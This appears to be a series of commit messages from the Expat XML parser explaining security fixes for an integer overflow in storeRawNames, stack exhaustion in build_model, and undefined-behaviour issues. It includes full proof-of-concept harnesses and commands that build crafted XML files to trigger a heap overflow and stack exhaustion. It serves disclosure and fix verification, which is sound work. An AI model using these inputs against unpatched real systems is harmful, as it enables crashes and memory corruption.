It is possible to use an integer overflow in storeRawNames for out of
boundary heap writes. Default configuration is affected. If compiled
with XML_UNICODE then the attack does not work. Compiling with
-fsanitize=address confirms the following proof of concept.
The problem can be exploited by abusing the m_buffer expansion logic.
Even though the initial size of m_buffer is a power of two, eventually
it can end up a little bit lower, thus allowing allocations very close
to INT_MAX (since INT_MAX/2 can be surpassed). This means that tag
names can be parsed which are almost INT_MAX in size.
Unfortunately (from an attacker point of view) INT_MAX/2 is also a
limitation in string pools. Having a tag name of INT_MAX/2 characters
or more is not possible.
Expat can convert between different encodings. UTF-16 documents which
contain only ASCII representable characters are twice as large as their
ASCII encoded counter-parts.
The proof of concept works by taking these three considerations into
account:
1. Move the m_buffer size slightly below a power of two by having a
short root node <a>. This allows the m_buffer to grow very close
to INT_MAX.
2. The string pooling forbids tag names longer than or equal to
INT_MAX/2, so keep the attack tag name smaller than that.
3. To be able to still overflow INT_MAX even though the name is
limited at INT_MAX/2-1 (nul byte) we use UTF-16 encoding and a tag
which only contains ASCII characters. UTF-16 always stores two
bytes per character while the tag name is converted to using only
one. Our attack node byte count must be a bit higher than
2/3 INT_MAX so the converted tag name is around INT_MAX/3 which
in sum can overflow INT_MAX.
Thanks to our small root node, m_buffer can handle 2/3 INT_MAX bytes
without running into INT_MAX boundary check. The string pooling is
able to store INT_MAX/3 as tag name because the amount is below
INT_MAX/2 limitation. And creating the sum of both eventually overflows
in storeRawNames.
Proof of Concept:
1. Compile expat with -fsanitize=address.
2. Create Proof of Concept binary which iterates through input
file 16 MB at once for better performance and easier integer
calculations:
```
cat > poc.c << EOF
#include <err.h>
#include <expat.h>
#include <stdlib.h>
#include <stdio.h>
#define CHUNK (16 * 1024 * 1024)
int main(int argc, char *argv[]) {
XML_Parser parser;
FILE *fp;
char *buf;
int i;
if (argc != 2)
errx(1, "usage: poc file.xml");
if ((parser = XML_ParserCreate(NULL)) == NULL)
errx(1, "failed to create expat parser");
if ((fp = fopen(argv[1], "r")) == NULL) {
XML_ParserFree(parser);
err(1, "failed to open file");
}
if ((buf = malloc(CHUNK)) == NULL) {
fclose(fp);
XML_ParserFree(parser);
err(1, "failed to allocate buffer");
}
i = 0;
while (fread(buf, CHUNK, 1, fp) == 1) {
printf("iteration %d: XML_Parse returns %d\n", ++i,
XML_Parse(parser, buf, CHUNK, XML_FALSE));
}
free(buf);
fclose(fp);
XML_ParserFree(parser);
return 0;
}
EOF
gcc -fsanitize=address -lexpat -o poc poc.c
```
3. Construct specially prepared UTF-16 XML file:
```
dd if=/dev/zero bs=1024 count=794624 | tr '\0' 'a' > poc-utf8.xml
echo -n '<a><' | dd conv=notrunc of=poc-utf8.xml
echo -n '><' | dd conv=notrunc of=poc-utf8.xml bs=1 seek=805306368
iconv -f UTF-8 -t UTF-16LE poc-utf8.xml > poc-utf16.xml
```
4. Run proof of concept:
```
./poc poc-utf16.xml
```
It is possible to trigger stack exhaustion in build_model function if
depth of nested children in DTD element is large enough. This happens
because build_node is a recursively called function within build_model.
The code has been adjusted to run iteratively. It uses the already
allocated heap space as temporary stack (growing from top to bottom).
Output is identical to recursive version. No new fields in data
structures were added, i.e. it keeps full API and ABI compatibility.
Instead the numchildren variable is used to temporarily keep the
index of items (uint vs int).
Documentation and readability improvements kindly added by Sebastian.
Proof of Concept:
1. Compile poc binary which parses XML file line by line
```
cat > poc.c << EOF
#include <err.h>
#include <expat.h>
#include <stdio.h>
XML_Parser parser;
static void XMLCALL
dummy_element_decl_handler(void *userData, const XML_Char *name,
XML_Content *model) {
XML_FreeContentModel(parser, model);
}
int main(int argc, char *argv[]) {
FILE *fp;
char *p = NULL;
size_t s = 0;
ssize_t l;
if (argc != 2)
errx(1, "usage: poc poc.xml");
if ((parser = XML_ParserCreate(NULL)) == NULL)
errx(1, "XML_ParserCreate");
XML_SetElementDeclHandler(parser, dummy_element_decl_handler);
if ((fp = fopen(argv[1], "r")) == NULL)
err(1, "fopen");
while ((l = getline(&p, &s, fp)) > 0)
if (XML_Parse(parser, p, (int)l, XML_FALSE) != XML_STATUS_OK)
errx(1, "XML_Parse");
XML_ParserFree(parser);
free(p);
fclose(fp);
return 0;
}
EOF
cc -std=c11 -D_POSIX_C_SOURCE=200809L -lexpat -o poc poc.c
```
2. Create XML file with a lot of nested groups in DTD element
```
cat > poc.xml.zst.b64 << EOF
KLUv/aQkACAAPAEA+DwhRE9DVFlQRSB1d3UgWwo8IUVMRU1FTlQgdXd1CigBAHv/58AJAgAQKAIA
ECgCABAoAgAQKAIAECgCABAoAgAQKHwAAChvd28KKQIA2/8gV24XBAIAECkCABApAgAQKQIAECkC
ABApAgAQKQIAEClVAAAgPl0+CgEA4A4I2VwwnQ==
EOF
base64 -d poc.xml.zst.b64 | zstd -d > poc.xml
```
3. Run Proof of Concept
```
./poc poc.xml
```
Co-authored-by: Sebastian Pipping <sebastian@pipping.org>
The change from "int nameLen" to "size_t nameLen"
addresses the overflow on "nameLen++" in code
"for (; name[nameLen++];)" right above the second
change in the patch.
What happens is that with macro XML_MIN_SIZE defined,
for UTF-16 macro IS_INVALID_CHAR was being set to ..
> #define IS_INVALID_CHAR(enc, p, n) (AS_NORMAL_ENCODING(enc)->isInvalid##n(enc, p))
.. which calls NULL pointers in .isInvalid{2,3,4} at runtime.
For UTF-16 we actually need what xmltok_impl.c does for macro
IS_INVALID_CHAR when it has not yet been defined:
> # ifndef IS_INVALID_CHAR
> # define IS_INVALID_CHAR(enc, ptr, n) (0)
> # endif
So the fix is a combination of these two:
- Use .isInvalid{2,3,4} where needed and available and
- return 0/false for UTF-16 where .isInvalid{2,3,4} are NULL.
While unsigned integer overflow is well-defined, Android sanitizers treat it
as an error. We also have some in the SipHash implementation but those won't
be easy to get rid of.
In C it is undefined to add anything to NULL. Clang recently began
taking advantage of this and can assume that if anything is added or
subtracted from a pointer that the pointer can be assumed non-NULL. The
Address Sanitizer has been updated to report when this happens at
runtime and produces messages like
expat/lib/xmlparse.c:6509:23: runtime error: applying zero offset to null pointer
SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior expat/lib/xmlparse.c:6509:23
This can be mitigated with 'p ? p + n : NULL' which optimizes to just
the add in all optimizing compilers, but avoids the undefined behavior.
